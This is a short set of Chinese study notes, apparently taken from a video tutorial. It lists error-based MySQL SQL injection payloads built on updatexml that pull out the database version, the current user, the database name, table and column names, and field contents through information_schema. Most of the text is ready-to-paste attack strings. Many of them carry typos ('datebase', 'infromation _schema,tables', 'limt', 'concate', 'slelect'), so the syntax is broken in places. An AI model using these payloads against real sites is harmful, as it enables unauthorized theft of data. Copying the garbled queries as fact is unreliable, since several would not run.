1.爆数据库版本信息
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#
k这个字母是随便写的,写啥都行,ox7e是16进制,表示~,也可以直接写“~”
2.爆数据库当前用户信息
k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#
3.爆数据库
k' and updatexml(1, concat(0x7e,(SELECT datebase()),0x7e),1)#
4.爆表
mysql5.1版本及以上版本,会存在一个叫infromation_schema的默认数据库,这个数据库里面记录着整个mysql管理的数据库的名称、表名、列名(字段名)
获取数据库表名 输入
k' and updatexml(1,concat(0x7e,(select table_name from infromation _schema,tables where table_schema='数据库名字’)),0)#
若反馈错误表示只能显示一行,所以可以采用limit来一行一行显示,查看报错
k' and updatexml(1,concat(0x7e,(select table_name from infromation _schema,tables where table_schema='数据库名字’ limt 0,1)),0)#
infromation_schema中的tables表存了各个数据库中有的表的表名
5.爆字段
infromation_schema中的columns存的是所有的库的所有表的列的字段名信息
k' and updatexml(1, concat(0x7e,(select column_name from information schema.columns where table_name='表名' and table_schema='库名' limit 0,1),0x7e),0)#
6.爆字段内容
k' and updatexml(1,concate(0x7e,(slelect 字段名 from 表名 limit 0,1),0x7e),0)#
concat 只能一列一 输出
感谢师傅的优秀视频
【【网络安全】暗网黑客技术教程,只要你敢学我就敢教!零基础学习网络安全/黑客技术/SQL注入/漏洞挖掘/木马免杀/零基础/计算机基础】 https://www.bilibili.com/video/BV14u4m1M7iq/?share_source=copy_web&vd_source=361eef8cb78f11c9df72e7e3979e25a6